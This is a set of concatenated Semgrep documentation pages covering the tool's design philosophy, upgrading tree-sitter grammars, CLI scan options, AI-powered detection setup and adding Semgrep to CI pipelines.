### Tree-Sitter parsers
Tree-sitter parsers exist as individual public projects. They are
shared with other users of tree-sitter outside of semgrep. Our
[ocaml-tree-sitter](https://github.com/semgrep/ocaml-tree-sitter-semgrep)
project adds the necessary extensions for supporting semgrep patterns
(ellipsis `...` and such). It also contains the machinery for turning
a tree-sitter grammar into a usable, typed concrete syntax tree (CST).
For example, for the Kotlin language we have:
* input: [tree-sitter-kotlin](https://github.com/fwcd/tree-sitter-kotlin)
* output: [semgrep-kotlin](https://github.com/semgrep/semgrep-kotlin)
Assuming the tree-sitter grammar works well enough, most of the work
consists in mapping the CST to the generic abstract syntax tree (AST)
shared by all languages in semgrep.
These guides go over the integration work in more details:
# Semgrep Community Edition (CE) philosophy
Source: https://docs.semgrep.dev/contributing/semgrep-philosophy
[Semgrep CE](https://github.com/semgrep/semgrep/) is a lightweight static analysis tool for many languages. It can find bug variants with patterns that look like source code.
As you think about contributing to Semgrep CE, consider these design principles that have guided Semgrep CE development so far:
1. **Free**
βIf a developer has to convince their manager to spend a few million dollars on advanced security tools each time they change jobs, the future is bleak.β β see our [introductory blog post](https://semgrep.dev/blog/2020/introducing-semgrep-and-r2c/) for more. Itβs important to us (and the community) that Semgrep, Inc. is able to develop a sustainable business around Semgrep to support its development, but we strongly believe the tooling itself must always be free.
2. **Open-source software**
Semgrep is [LGPL](https://tldrlegal.com/license/gnu-lesser-general-public-license-v2.1-\(lgpl-2.1\)) and powered not just by [Semgrep, Inc.](https://semgrep.dev/) but also by community of brilliant external contributors. We welcome feedback and contributions and strive to be a welcoming community for new developers.
3. **Fast**
High sloc/sec scanning speed and low startup cost. Weβll never be as fast as ripgrep but we want to get as close as we can.
4. **Code never leaves your machine**
Semgrep by default runs entirely locally (unless you set it up yourself in a server/client mode). Code never leaves your machine to be analyzed.
5. **Support every programming language**
βIf grep supports it, we will too!β This even includes those that arenβt thought of as programming languages, like Bash or Docker.
6. **Run anywhere**
Semgrep is small (\<100 MB), has minimal runtime dependencies, and should be easily installable via your programming language or operating system package manager.
7. **Keep easy things easy, and hard things possible.**
Using Semgrep to scan your code, and writing rules with which to scan, should be easy. Semgrep also smooths the process with delightful defaults and support every step of the way. But itβs also adaptable, and we welcome you using Semgrep in your own custom way. Hey, there are even [examples of scanning cat pictures out there](https://youtu.be/ybWB2Vf2V50?t=1182).
8. **Beginner-friendly**
You shouldnβt need a PhD in program analysis, or even to understand what an AST is, to be effective with Semgrep. A novice programmer should be able to write their first Semgrep rule in 60 seconds.
9. **Human-readable rules**
Rules should look like code and be easy to read and reason aboutβhopefully easier than if they were written in grep or a native linter.
10. **Self-contained rule files**
You shouldnβt need an additional plugin, dependency, or internet access to run a YAML rule. It should just work.
11. **Deterministic (implies reproducible, idempotent)**
Given the same input, Semgrep gives the same output.
12. **Runs offline**
Semgrep can run without internet access so developers can write code from airplanes or beaches.
13. **Rules are safe to run no matter where they came from**
Rules shouldnβt have the capability to run arbitrary code on your system, only to act as a function that produces a deterministic output message.
14. **Single-file analysis**
To stay fast and limit complexity, Semgrep CE draws a line at crossing file boundaries during analysis. It loses the ability to detect certain complex cross-function (interprocedural) issues, but thatβs an explicit tradeoff it makes.
Semgrep CE's goal is to catch what a senior engineer would catch in code review: Semgrep isnβt designed to find a crazy issue thatβs 300 calls from start to finish and evaded the team for 20 years. Instead, itβs designed for enforcing best-practices and automating the code review tasks that an excellent senior engineer would be capable of. For a discussion of why expressive creativity is better than a powerful engine, [see this excellent blog post by Devdatta Akhawe](https://devd.me/log/posts/static-analysis/).
As a corollary: if you design your codebase so that code in a file is safe today, it's still safe after a colleague makes a change twenty function calls away in another file.
15. **Designed to run while code is being written**
Semgrep is optimized for running in the IDE, Git commit hooks, or CIβnot for at the tail-end of a release process.
16. **A platform for program analysis**
We will expose stable internals so that researchers and engineers can develop novel program analysis work off of APIs like Semgrepβs generic AST.
# Semgrep Community Edition (CE) philosophy
Source: https://docs.semgrep.dev/contributing/semgrep-philosophy-1
[Semgrep CE](https://github.com/semgrep/semgrep/) is a lightweight static analysis tool for many languages. It can find bug variants with patterns that look like source code.
As you think about contributing to Semgrep CE, consider these design principles that have guided Semgrep CE development so far:
1. **Free**
βIf a developer has to convince their manager to spend a few million dollars on advanced security tools each time they change jobs, the future is bleak.β β see our [introductory blog post](https://semgrep.dev/blog/2020/introducing-semgrep-and-r2c/) for more. Itβs important to us (and the community) that Semgrep, Inc. is able to develop a sustainable business around Semgrep to support its development, but we strongly believe the tooling itself must always be free.
2. **Open-source software**
Semgrep is [LGPL](https://tldrlegal.com/license/gnu-lesser-general-public-license-v2.1-\(lgpl-2.1\)) and powered not just by [Semgrep, Inc.](https://semgrep.dev/) but also by community of brilliant external contributors. We welcome feedback and contributions and strive to be a welcoming community for new developers.
3. **Fast**
High sloc/sec scanning speed and low startup cost. Weβll never be as fast as ripgrep but we want to get as close as we can.
4. **Code never leaves your machine**
Semgrep by default runs entirely locally (unless you set it up yourself in a server/client mode). Code never leaves your machine to be analyzed.
5. **Support every programming language**
βIf grep supports it, we will too!β This even includes those that arenβt thought of as programming languages, like Bash or Docker.
6. **Run anywhere**
Semgrep is small (\<100 MB), has minimal runtime dependencies, and should be easily installable via your programming language or operating system package manager.
7. **Keep easy things easy, and hard things possible.**
Using Semgrep to scan your code, and writing rules with which to scan, should be easy. Semgrep also smooths the process with delightful defaults and support every step of the way. But itβs also adaptable, and we welcome you using Semgrep in your own custom way. Hey, there are even [examples of scanning cat pictures out there](https://youtu.be/ybWB2Vf2V50?t=1182).
8. **Beginner-friendly**
You shouldnβt need a PhD in program analysis, or even to understand what an AST is, to be effective with Semgrep. A novice programmer should be able to write their first Semgrep rule in 60 seconds.
9. **Human-readable rules**
Rules should look like code and be easy to read and reason aboutβhopefully easier than if they were written in grep or a native linter.
10. **Self-contained rule files**
You shouldnβt need an additional plugin, dependency, or internet access to run a YAML rule. It should just work.
11. **Deterministic (implies reproducible, idempotent)**
Given the same input, Semgrep gives the same output.
12. **Runs offline**
Semgrep can run without internet access so developers can write code from airplanes or beaches.
13. **Rules are safe to run no matter where they came from**
Rules shouldnβt have the capability to run arbitrary code on your system, only to act as a function that produces a deterministic output message.
14. **Single-file analysis**
To stay fast and limit complexity, Semgrep CE draws a line at crossing file boundaries during analysis. It loses the ability to detect certain complex cross-function (interprocedural) issues, but thatβs an explicit tradeoff it makes.
Semgrep CE's goal is to catch what a senior engineer would catch in code review: Semgrep isnβt designed to find a crazy issue thatβs 300 calls from start to finish and evaded the team for 20 years. Instead, itβs designed for enforcing best-practices and automating the code review tasks that an excellent senior engineer would be capable of. For a discussion of why expressive creativity is better than a powerful engine, [see this excellent blog post by Devdatta Akhawe](https://devd.me/log/posts/static-analysis/).
As a corollary: if you design your codebase so that code in a file is safe today, it's still safe after a colleague makes a change twenty function calls away in another file.
15. **Designed to run while code is being written**
Semgrep is optimized for running in the IDE, Git commit hooks, or CIβnot for at the tail-end of a release process.
16. **A platform for program analysis**
We will expose stable internals so that researchers and engineers can develop novel program analysis work off of APIs like Semgrepβs generic AST.
# Troubleshooting
Source: https://docs.semgrep.dev/contributing/troubleshooting
## Make errors
There are probably changes to submodules that you don't have. Run `git submodule update --recursive`.
## Pre-commit
Make sure to follow the [Development Workflow](/contributing/contributing-code/#development-workflow) so that pre-commit will run on commit
Sometimes changes you make will cause pre-commit errors in code you haven't touched--for example, if you change a function's return type. However, if you're absolutely sure you didn't cause this, you can run `git commit --no-verify` to commit without running `pre-commit`.
## Exotic
Run `pip3 show semgrep` to find the location semgrep was installed in. `semgrep-core` will be in that path/semgrep/bin/semgrep-core
# How to upgrade the grammar for a language
Source: https://docs.semgrep.dev/contributing/updating-a-grammar
Like for adding a language, most of these instructions happen in
[ocaml-tree-sitter-semgrep](https://github.com/semgrep/ocaml-tree-sitter-semgrep).
Let's assume we are upgrading the grammar for the programming language `$PL`.
(Consider adding an environment variable to your shell to make copying some of the commands below easier).
## Summary (ocaml-tree-sitter)
In ocaml-tree-sitter:
Update submodule `tree-sitter-$PL`.
From `lang/`, run `./test-lang $PL`.
From `lang/`, ask a Semgrep team developer to run `./release $PL`.
In semgrep:
In the semgrep repo, update submodule `semgrep-$PL`.
In the semgrep repo, update the OCaml code that maps the CST to the generic AST.
In the end, **make sure the generated code used by the main branch of
semgrep can be regenerated** from the main branch of ocaml-tree-sitter:
Merge your semgrep branch.
Merge your ocaml-tree-sitter branch.
## Components
Here are the main components:
* the OCaml code generator
[ocaml-tree-sitter](https://github.com/semgrep/ocaml-tree-sitter-semgrep):
generates OCaml parsing code from tree-sitter grammars extended
with `...` and such. Publishes code into the git repos of the
form `semgrep-$PL`.
* the original tree-sitter grammar `tree-sitter-$PL` e.g.,
[tree-sitter-ruby](https://github.com/tree-sitter/tree-sitter-ruby):
the original tree-sitter grammar for the language.
This is the git submodule `lang/semgrep-grammars/src/tree-sitter-$PL`
in ocaml-tree-sitter. It is installed at the project's root
in `node_modules` by invoking `npm install`.
* syntax extensions to support semgrep patterns, such as ellipses
(`...`) and metavariables (`$FOO`).
This is `lang/semgrep-grammars/src/semgrep-$PL`. It can be tested from
that folder with `make && make test`.
* an automatically-modified grammar for language `$PL` in `lang/$PL`.
It is modified so as to accommodate various requirements of the
ocaml-tree-sitter code generator. `lang/$PL/src` and
`lang/$PL/ocaml-src` contain the C/C++/OCaml code that will published
into `semgrep-$PL` e.g.
[semgrep-ruby](https://github.com/semgrep/semgrep-ruby)
and used by semgrep.
* [semgrep-\$PL](https://github.com/semgrep/semgrep-ruby):
provides generated OCaml/C parsers as a dune project. Is a submodule
of semgrep.
* [semgrep](https://github.com/semgrep/semgrep): uses the parsers
provided by `semgrep-$PL`, which produce a CST. The
program's CST or pattern's CST is further transformed into an AST
suitable for pattern matching.
Make sure the above is clear in your mind before proceeding further.
If you have questions, the best way is reach out on the [Semgrep
Community Slack channel](https://go.semgrep.dev/slack).
## Before upgrading
Make sure the `grammar.js` file or equivalent source files
defining the grammar are included in the `fyi.list` file in
`ocaml-tree-sitter/lang/$PL`.
Why: It is important for tracking and *understanding* the changes made at the
source.
How: See [How to add support for a new language](/contributing/adding-a-language).
## Upgrade the tree-sitter-\$PL submodule
Say you want to upgrade (or downgrade) `tree-sitter-$PL` from some old
commit to commit `602f12b`. This uses the git submodule way, without
anything weird. The commands might be something like this:
```bash theme={null}
git submodule update --init --recursive --depth 1
git checkout -b upgrade-$PL
cd lang/semgrep-grammars/src/tree-sitter-$PL
git fetch origin --unshallow
git checkout 602f12b
cd ..
```
## Testing
First, build and install ocaml-tree-sitter normally, based on the
instructions found in the [main README](https://github.com/semgrep/ocaml-tree-sitter-semgrep/blob/main/README.md).
```bash theme={null}
./configure
make setup
make
make install
```
Then, build support for your language in `lang/`. The following
commands will build and test the language:
```bash theme={null}
cd lang
./test-lang $PL
```
**CAUTION**
Check the generated code for the presence of `Blank` nodes. Those
correspond to [missing tokens](https://github.com/tree-sitter/tree-sitter/issues/1151).
Check with:
```bash theme={null}
grep Blank lang/$PL/ocaml-src/lib/CST.ml
```
If anything comes up, you must modify the grammar so as to create
a named rule for the node of the `Blank` kind. Eventually, the generated
`CST.ml` should not have `Blank` nodes anymore but a token type instead.
Where a `Blank` node exists, we won't be able to get a token or its location
at parsing time.
If this works, we're all set. Commit the new commit for the
`tree-sitter-$PL` submodule:
```bash theme={null}
git status
git commit semgrep-languages/semgrep-$PL
git push origin upgrade-$PL
```
Then make a pull request to merge this into ocaml-tree-sitter's
main branch. It's ok to merge at this point, even if the generated code
hasn't been exported (**Publishing** section below) or if you haven't
done the necessary changes in semgrep (**Semgrep integration** below).
We can now consider publishing the code to `semgrep-$PL`.
## Publishing
*Please [ask someone at Semgrep, Inc. to run this step](https://github.com/semgrep/ocaml-tree-sitter-semgrep/blob/main/doc/release.md).*
From the `lang` folder of ocaml-tree-sitter, we'll perform the
release. This step redoes some of the work that was done earlier and
checks that everything is clean before committing and pushing the
changes to semgrep-\$PL.
```bash theme={null}
cd lang
./release --dry-run $PL # dry-run release
... # 'git status' will show changes for language $PL
./release $PL # commits and pushes to semgrep-$PL
```
This step is safe. Semgrep at this point is unaffected by those
changes. There is now a new commit at
`https://github.com/semgrep/semgrep-$PL` e.g.
[https://github.com/semgrep/semgrep-javascript](https://github.com/semgrep/semgrep-javascript).
The [`fyi/` folder](https://github.com/semgrep/semgrep-javascript/tree/main/fyi)
contains original files from which the code was generated.
[`fyi/versions`](https://github.com/semgrep/semgrep-javascript/blob/main/fyi/versions)
shows the last change for each file, allowing you to check that you
got the correct version of `grammar.js` or some other source file.
## Semgrep integration
From the semgrep repository, point the submodule for `semgrep-$PL` to the
latest commit from the "Publishing" step. Then rebuild semgrep-core,
which will normally fail if the grammar changed. If the source
`grammar.js` was included in the `fyi` folder for `semgrep-$PL` (as it
should), `git diff HEAD^` should help figure out the changes since the
last version.
## Conclusion
The main difficulty is to understand how the different git projects
interact and to not make mistakes when dealing with git submodules,
which takes a bit of practice.
## See also
# Customize Semgrep Community Edition (CE) scans
Source: https://docs.semgrep.dev/customize-semgrep-ce
This article shows you how to customize your local scans with Semgrep Community Edition (CE). Before proceeding with this article, ensure that you are familiar with [scanning a project using Semgrep CE](/getting-started/quickstart-ce).
## Scan your codebase and export results
Navigate to the root of your codebase to run first scan. The specific command you use depends on how you want to view the results.
To view the results in the CLI:
```bash theme={null}
semgrep scan
```
To export the results to a plain text file:
```bash theme={null}
semgrep scan --text --text-output=semgrep.txt
```
To export the results to a SARIF file:
```bash theme={null}
semgrep scan --sarif --sarif-output=semgrep.sarif
```
To export the results to a JSON file:
```bash theme={null}
semgrep scan --json --json-output=semgrep.json
```
> The JSON schema for Semgrep's CLI output can be found in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
In addition to the `--text`, `--json`, and `--sarif` flags, which set the primary output formats, and the `--output= ` flag that saves the results to a file or posts to a URL, you can append `-- -output= ` to obtain additional output streams:
```bash expandable theme={null}
# prints findings in SARIF format to standard output and writes in JSON format to `findings.json`.
semgrep scan --sarif --json-output=findings.json
# prints findings in text to standard out and writes JSON output to `findings.json`.
semgrep scan --json-output=findings.json
# prints text output to `findings.txt` and writes in SARIF to `findings.sarif`.
semgrep scan --output=findings.txt --sarif-output=findings.sarif
# writes text to `semgrep.txt`, JSON to `semgrep.json`, and SARIF to `semgrep.sarif`.
semgrep scan --text --output=semgrep.txt --json-output=semgrep.json --sarif-output=semgrep.sarif
```
Accepted values for ` `: `text`, `json`, `sarif`, `gitlab-sast`, `gitlab-secrets`, `junit-xml`, `emacs`, `vim`
## Scan your codebase with a specific ruleset
You can scan your codebase using `--config auto` to run Semgrep with rules that apply to your programming languages and frameworks:
```bash theme={null}
semgrep scan --config auto
```
**INFO**
Semgrep collects pseudonymous metrics when you use rules from the Registry. You can turn this off with `--metrics=off`.
To scan your codebase with a specific ruleset, either one that you write or one that you obtain from the [ Semgrep Registry](https://semgrep.dev/explore), use the `--config` flag.
```bash theme={null}
# Scan with the JavaScript rules from Semgrep Registry
semgrep scan --config p/javascript
```
```bash theme={null}
# Scan with the rules defined in your custom rules.yaml file
semgrep scan --config rules.yaml
```
You can include as many configuration flags as necessary.
```bash theme={null}
# Scan with rules defined in two separate config files
semgrep scan --config rules.yaml --config more_rules.yaml
```
Rules stored under a **hidden directory**, such as `dir/.hidden/myrule.yml`, are processed by Semgrep when scanning with the `--config` flag.
Scan with rules in a **directory** and **all** its subdirectories:
```bash theme={null}
semgrep scan --config DIRECTORY_NAME
```
Scan with all YAML rules detected in the **current working directory** and all its **subdirectories**:
```bash theme={null}
semgrep scan --config .
```
#### Test custom rules
Semgrep includes features to [test the custom rules that you write](/writing-rules/testing-rules):
```bash theme={null}
semgrep scan --test
```
## Improve performance for large codebases
You can set the number of subprocesses Semgrep uses to run checks in parallel:
```bash theme={null}
semgrep scan -j NUMBER_OF_SUBPROCESSES
```
By default, the number of jobs Semgrep uses is equivalent to the number of cores detected on the system.
Semgrep doesn't currently support parallelism on Windows.
## Set log levels
Semgrep provides three levels of logging:
| **Log level** | **Flag** | **Description** |
| :------------ | :------------------ | :-------------------------------------------------------------------------------------------------------------------------- |
| Default | None | Prints scan progress, findings information, warnings, and errors. |
| Verbose | `-v` or `--verbose` | Includes everything printed when using the default logging level, adding a list of rules and details such as skipped files. |
| Debug | `--debug` | Logs the entire scan process at a high level of detail. |
### Example usage
To set the logging level for a scan, include the flag when scanning your project:
```bash theme={null}
# run a scan and get debug logs
semgrep scan --debug
```
## Exit codes
The command `semgrep scan` finishes with exit code `0` as long as the scan completes, regardless of whether there were findings. To finish with exit code `1` when there are findings, pass in the `--error` flag.
# Scan with AI-powered detection (beta)
Source: https://docs.semgrep.dev/deployment/add-ai-to-scans
This page provides step-by-step instructions on enabling and running an AI-powered scan. For details on what AI-powered detection can uncover, known limitations, and beta considerations, see [AI-powered detection overview](/semgrep-code/ai-powered-detection-concepts).
## Prerequisites
To run Semgrep Code's [AI-powered detection](/semgrep-code/overview#ai-powered-detection-beta), you must have [Semgrep Multimodal](/semgrep-multimodal/getting-started#enable-multimodal) enabled for your organization.
**INFO**
AI-powered detection runs on Semgrep Managed Scan infrastructure. Even if your other scans run in your own CI environment, Semgrep clones your repository into the Managed Scan environment to perform AI-powered detection.
## Enable or disable AI-powered detection
This feature is enabled by default for all Semgrep Multimodal users.
To enable or disable AI-powered detection in Semgrep AppSec Platform, go to [**Settings** > **Code**](https://semgrep.dev/orgs/-/settings/general/code) and then toggle **AI-powered scanning** on or off.
## Scan with AI-powered detection
Log in to Semgrep AppSec Platform.
In the **navigation bar**, click on **Projects**.
To scan the default or main branch:
Choose the projects by selecting the checkboxes next to their names. This enables the **Run a new scan** drop-down menu.
Click **Run a new scan > AI-powered detection**.
A dialog appears that displays the number of projects that were selected for scanning. Click **Scan** to begin.
* If you would like Semgrep to automatically perform an AI scan on these projects every week, select **Enable weekly scans**. Weekly AI scans require that you have added the projects to [Semgrep Managed Scans](/getting-started/quickstart-managed-scans#add-projects-to-semgrep-managed-scans); look for the `managed-scan` tag in the [**Projects** section of the Semgrep AppSec Platform](https://semgrep.dev/orgs/-/projects/scanning).
To scan a non-default branch:
Click **Details** for your project of interest. On the project's **Details** page, click **Run a new scan** and choose **AI-powered detection.**
In the dialog, enter the name of the branch you want to scan.
## View findings
Findings generated by AI-powered detection scans are part of [Semgrep Code findings](/semgrep-code/findings) and are listed on the **[Code](https://semgrep.dev/orgs/-/findings)** page. You can use the filters icon to filter for **AI-powered scan findings**.
The findings card indicates whether a finding was detected by an AI-powered scan or a Rule-based scan.
## Add additional context to AI-powered detection scans
**INFO**
Only **Admins** can upload context documents to Semgrep projects.
By uploading project-specific context such as design documents, threat models, or instructional markdown, you can provide additional information for Semgrep to use during AI-powered scans. This enables Semgrep to show higher-impact findings and reduce false positives based on how your application is designed and used.
To upload a project-specific context document:
Log in to Semgrep AppSec Platform.
In the **navigation bar**, go to **Rules & Policies > Memories**.
Go to the **Documents** tab and click **Add document**.
Drag the document to the **File upload** box or click **Choose a file** to select and upload your context document.
Optionally: Add a **Description** of the document. This information will be used as additional context for AI-powered detection scans.
The finding **Details** page references the uploaded context document under the finding description.
For an in-depth understanding of how AI-powered detection works, see [AI-powered detection: concepts, limitations, and FAQs](/semgrep-code/ai-powered-detection-concepts).
# Add Semgrep to CI
Source: https://docs.semgrep.dev/deployment/add-semgrep-to-ci
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
Semgrep is integrated into CI environments by creating a **job** that is run by the CI provider. After a scan, findings are sent to Semgrep AppSec Platform for triage and remediation.
By integrating Semgrep into your CI environment, your development cycle benefits from the automated scanning of repositories at various events, such as:
* Push events
* Pull requests or merge requests (PRs or MRs)
* User-initiated events (such as GitHub Action's `workflow_dispatch`)
**SEMGREP MANAGED SCANS**
As an alternative to integrating Semgrep into your CI/CD system, consider [Semgrep Managed Scans](/deployment/managed-scanning/overview), which enables you to bulk onboard and scan your repositories without requiring changes to your CI.
## Guided setup for CI providers in Semgrep AppSec Platform
This guide walks you through creating a Semgrep job in the following CI providers, which are explicitly supported in Semgrep AppSec Platform:
* GitHub Actions
* GitLab CI/CD
* Jenkins
* Bitbucket
* CircleCI
* Buildkite
* Azure Pipelines
* Semaphore
If your provider is **not** on this list, you can still integrate Semgrep into your CI workflows by following the steps in [ Add Semgrep to other CI providers](/deployment/add-semgrep-to-other-ci-providers).
## Projects
Adding a Semgrep job to your CI provider also adds the repository's records, including findings, as a **project** in Semgrep AppSec Platform. Each project can be individually configured to send notifications or tickets.
## Add Semgrep to CI
To add a Semgrep job to your CI provider:
Ensure you are signed in to Semgrep AppSec Platform.
Click **[Projects](https://semgrep.dev/orgs/-/projects)** on the left sidebar.
Click **Scan new project > CI/CD**.
Click the name of the CI provider you use. You are taken to the **Add job** page.
Follow the steps provided on the page. The process varies depending on your CI provider, but generally includes the following steps:
i. Click **Create new token** to create a `SEMGREP_APP_TOKEN`, which is used to when sending results to Semgrep AppSec Platform.
ii. Copy and paste the `SEMGREP_APP_TOKEN` and its value. Store it as an environment variable or secret in your CI provider.
iii. Optional: Click **Review CI config** to see Semgrep's default YAML configuration file for your CI provider.
iv. Click **Copy snippet** and paste it into your CI provider's configuration file (the filename is typically indicated in the page). Depending on your CI provider, you may have to create a custom configuration file or use an existing one.
v. Commit the configuration file to your repository.
vi. Return to Semgrep AppSec Platform and click **Check connection**.
You have now added a Semgrep job to your CI provider; this starts your first **full scan**. Its findings are sent to Semgrep AppSec Platform for triage and remediation.
To add a CI job to GitHub Actions:
Ensure you are signed in to Semgrep AppSec Platform.
Click **[Projects](https://semgrep.dev/orgs/-/projects)** on the left sidebar.
Click **Scan new project > CI/CD**.
Click **GitHub Actions**.
A list of repositories appears. Select all the repositories you want to add a Semgrep job to.
If you do not see the repository you want to add, adjust [ GitHub Application's Repository Access](https://github.com/settings/installations) configuration. See [Detecting GitHub repositories](#detecting-github-repositories) for more information.
Click **Add CI job**. You are taken to the Add CI job page.
Optional: Click **Review CI config** to see Semgrep's default YAML configuration file.
Click **Commit file**.
You have now added a Semgrep job to GitHub Actions. A **full scan** begins automatically after adding a new repository. Its findings are sent to Semgrep AppSec Platform for triage and remediation.
### Detecting GitHub repositories
If you aren't seeing your GitHub repos in the Cloud Platform, complete the following steps to ensure that your GitHub repository is **detected** by Semgrep AppSec Platform:
Log in to GitHub.
Perform one of the following steps:
i. For repositories in personal accounts: Click your **profile photo > Settings > Applications**.
ii. For repositories in org accounts: Click your **profile photo > Your organizations > NAME\_OF\_ORG > Settings > GitHub Apps**.
On the `semgrep-app` entry, click **Configure**.
Under **Repository access** select an option to provide access:
i. All repositories will display all current and future public and private repositories.
ii. Only select repositories will display explicitly selected repositories.
**TIP**
You can edit your configuration files to send findings to **GitHub Advanced Security Dashboard (GHAS)** and **GitLab SAST Dashboard**. Refer to the following samples:
* [GitHub Advanced Security Dashboard](/semgrep-ci/sample-ci-configs/#upload-findings-to-github-advanced-security-dashboard)
* [GitLab SAST Dashboard](/semgrep-ci/sample-ci-configs/#upload-findings-to-gitlab-security-dashboard)
### Sample CI configuration snippets
Refer to the following table for links to sample CI configuration snippets:
| In-app CI provider | Sample CI configuration snippet |
| :------------------ | :------------------------------------------------------------------------------ |
| Azure Pipelines | [`azure-pipelines.yml`](/semgrep-ci/sample-ci-configs/#azure-pipelines) |
| Bitbucket Pipelines | [`bitbucket-pipelines.yml`](/semgrep-ci/sample-ci-configs/#bitbucket-pipelines) |
| Buildkite | [`pipelines.yml`](/semgrep-ci/sample-ci-configs/#buildkite) |
| CircleCI | [`config.yml`](/semgrep-ci/sample-ci-configs/#circleci) |
| GitHub Actions | [`semgrep.yml`](/semgrep-ci/sample-ci-configs/#github-actions) |
| GitLab CI/CD | [`.gitlab-ci.yml`](/semgrep-ci/sample-ci-configs/#gitlab-cicd) |
| Jenkins | [`Jenkinsfile`](/semgrep-ci/sample-ci-configs/#jenkins) |
| Semaphore | [`semaphore.yml`](/semgrep-ci/sample-ci-configs/#semaphore) |
### Data collected by Semgrep
When running in CI, Semgrep runs fully in the CI build environment. Unless you have explicitly granted code access to Semgrep, your code is not sent anywhere.
* Semgrep collects [findings data](/semgrep-ci/findings-ci), which includes the line number of the code match, but not the code. It is hashed using a one-way hashing function.
* Findings data is used to generate line-specific hyperlinks to your source code management system and support other Semgrep functions.
### Delete a project
Deleting a project removes all of its findings, metadata, and other records from Semgrep AppSec Platform.
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **windows icon** to access the settings page for that project.
Click the **three-dot (...) button** at the header and click **Delete project**.
To delete an archived project:
In Semgrep AppSec Platform, click **Projects**.
Switch to the **Not Scanning** tab of the **Projects** page.
Select the checkbox to **Show archived** projects.
Search for the archived repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
**INFO**
It can take up to a day **(24 hours)** for the [Dashboard](/semgrep-appsec-platform/dashboard) to correctly update and remove findings associated with a recently deleted project.
## Scan scope
Semgrep scans can be classified by **scope**. The scope of a scan refers to what lines of code are scanned in a codebase. When classifying scans by scope, there are two types of scans:
### Full scan
A full scan runs on your entire codebase and reports every finding in the codebase. It is recommended to perform a full scan of your default branch, such as main or master at a regular cadence, such as every night or every week. This ensures that Semgrep AppSec Platform has a full list of all findings in your code base, regardless of when they were introduced. To run a full scan, run `semgrep ci` without setting the `SEMGREP_BASELINE_REF` environment variable. Full scans are triggered at a scheduled time, when the `semgrep.yml` file is edited, or manually by a user.
### Diff-aware scan
A diff-aware scan runs on your code before and after some "baseline" and only reports findings that are newly introduced in the commits after that baseline. Typically, Semgrep runs diff-aware scans upon the creation of a new pull request or merge request.
For example, imagine a hypothetical repository with 10 commits. You set commit number 8 as the baseline. Consequently, Semgrep only returns scan results introduced by changes in commits 9 and 10. This is how `semgrep ci` can run in pull requests and merge requests, since it reports only the findings that are created by those code changes.
To run a diff-aware scan, use `SEMGREP_BASELINE_REF=REF semgrep ci` where `REF` can be a commit hash, branch name, or other Git reference. Note that the `SEMGREP_BASELINE_REF` does not apply to GitHub Actions and GitLab CI/CD environments. This variable cannot be set to turn a diff-aware scan in GitHub Actions or GitLab CI/CD into a full scan.
### Default branch names
When you add a Semgrep CI job to your repository for the first time, Semgrep performs a full scan on the primary, or default, branches. In many cases, Semgrep automatically detects these branches as primary branches. However, you can also [set the primary branch name](/deployment/primary-branch). This is useful for repositories with unique names. This lets Semgrep know what branch to prioritize and perform full scans on.
## Next steps
You've set up Semgrep to scan in your repository and send findings after each scan. Your core deployment is almost complete.
Remaining steps include:
* Optional: [ Customize your CI job](/deployment/customize-ci-jobs).
* For software composition analysis (SCA) scans using **Jenkins or Maven**: [ Set up SCA scans for your infrastructure.](/semgrep-supply-chain/setup-infrastructure)
* For Jenkins users: Set up a separate CI job for diff-aware scans for feature branches (non-trunk branches) when a pull request or merge request is open. This is a prerequisite to receiving PR or MR comments. See Set up diff-aware scans.
* Set up **PR or MR comments**, which post findings to developers in your SCM. This involves developers in the security process as active participants. See [ PR or MR comments](/category/pr-or-mr-comments) for next steps.
# Add Semgrep manually to CI providers
Source: https://docs.semgrep.dev/deployment/add-semgrep-to-other-ci-providers
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
This guide documents the steps required to create a Semgrep job for CI providers for which Semgrep AppSec Platform offers no explicit guidance.
See [ Add Semgrep to CI](/deployment/add-semgrep-to-ci/#guided-setup-for-ci-providers-in-semgrep-appsec-platform) before proceeding to ensure that this guide applies to your CI provider.
Skip this guide if you have already configured a CI job.
The steps provided here are known to work with the following CI providers:
* AppVeyor
* Bamboo
* Bitrise
* Buildbot
* Codeship
* Codefresh
* Drone CI
* Nomad
* Semaphore
* TeamCity CI
* Travis CI
## General steps
The following steps provide an overview of the process. View the succeeding sections for detailed instructions.
Create a token called `SEMGREP_APP_TOKEN`.
Add this token as a credential, secret, or token to your CI provider.
Create a CI job that runs Semgrep. This step is typically achieved by committing a CI configuration file. The syntax of the configuration file depends on your CI provider.
The CI job can automatically start to run depending on your configuration. If the job does not start, run the job through the CI provider's interface or by committing code.
Semgrep detects the `SEMGREP_APP_TOKEN`, sends it to Semgrep AppSec Platform for verification, and if verified, sends findings to Semgrep AppSec Platform.
Define additional environment variables to enable other Semgrep AppSec Platform features. This is done last because it is easier to troubleshoot modifications to jobs after ensuring that the base CI job runs correctly.
The next sections go over these steps in detail.
### Create a SEMGREP\_APP\_TOKEN
To create a `SEMGREP_APP_TOKEN`, follow these steps:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click **[ Settings](https://semgrep.dev/orgs/-/settings/tokens)** > **Tokens**.
Click **Create new token**.
Copy the name and value, then click **Save**.
Store the token value into your CI provider. Tokens can also be referred to as secrets, credentials, or secure variables. The steps to do this vary depending on your CI provider.
### Create a Semgrep CI job
Add Semgrep to your CI pipeline. Do either of the following:
i. Reference or add the [Semgrep Docker image](https://hub.docker.com/r/semgrep/semgrep). This is the recommended method.
